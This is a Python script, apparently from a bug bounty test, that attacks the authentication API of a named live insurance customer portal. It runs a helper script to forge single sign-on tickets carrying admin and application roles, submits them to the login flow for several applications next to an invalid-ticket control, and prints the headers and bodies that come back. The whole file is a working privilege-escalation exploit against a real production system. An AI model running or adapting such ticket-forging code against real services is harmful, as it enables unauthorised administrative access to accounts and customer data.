from curl_cffi import requests
import subprocess, json, secrets
HOST='mein-portal.baloise.de'; BASE='https://'+HOST+'/auth'
IDENT={'X-Bug-Bounty':'dwbzn'}
FORGE='work/scratch/saved/airlock_esp-ticket-forge.py'

def forge(app):
    u='bugbounty-dwbzn-'+secrets.token_hex(4)
    roles=['authenticated','admin','administrator',app,'portal_ao','portal_mo','portal_si','venta','sas_va']
    cmd=['python3',FORGE,'--username',u,'--validity-seconds','3600']
    for x in roles: cmd += ['--role',x]
    cmd += ['--extra','Identifier='+u,'--extra','UserToken='+u,'--extra','SessionToken='+u,'--extra','userId='+u,'--extra','sub='+u,'--extra','mail='+u+'@example.invalid']
    return u,subprocess.check_output(cmd,text=True).strip()

def req(app,ticket,query=''):
    s=requests.Session(impersonate='chrome')
    r=s.get(BASE+'/ui/app/auth/application/access',headers=IDENT,timeout=30)
    csrf=s.cookies.get('CSRFT759-S') or ''
    h={**IDENT,'X-Same-Domain':'1','X-CSRFT759':csrf,'Accept':'application/json, application/vnd.api+json','Content-Type':'application/json','X-IAM-SSO-Ticket':ticket}
    r=s.delete(BASE+'/rest/public/authentication/flow',headers=h,timeout=30)
    r=s.post(BASE+f'/rest/public/authentication/applications/{app}/access'+query,headers=h,json={'location':f'https://{HOST}/api/jsonws'},timeout=30)
    return r
for app in ['portal_ao','portal_mo','portal_si','venta','default']:
    for kind,ticket in [('control','not-a-valid-ticket')]:
        r=req(app,ticket)
        print('\n###',app,kind,'id',getattr(r,'toadex_exchange_id',None),'status',r.status_code)
        print({k:v for k,v in r.headers.items() if k.lower() in ['x-forward-url','x-esp-ticket','location','set-cookie','www-authenticate']})
        print(r.text[:2000])
    u,t=forge(app)
    for label,q in [('header',''),('header+sso','?sso='+t)]:
        r=req(app,t,q)
        print('\n###',app,label,'user',u,'id',getattr(r,'toadex_exchange_id',None),'status',r.status_code)
        print({k:v for k,v in r.headers.items() if k.lower() in ['x-forward-url','x-esp-ticket','location','set-cookie','www-authenticate']})
        print(r.text[:3000])
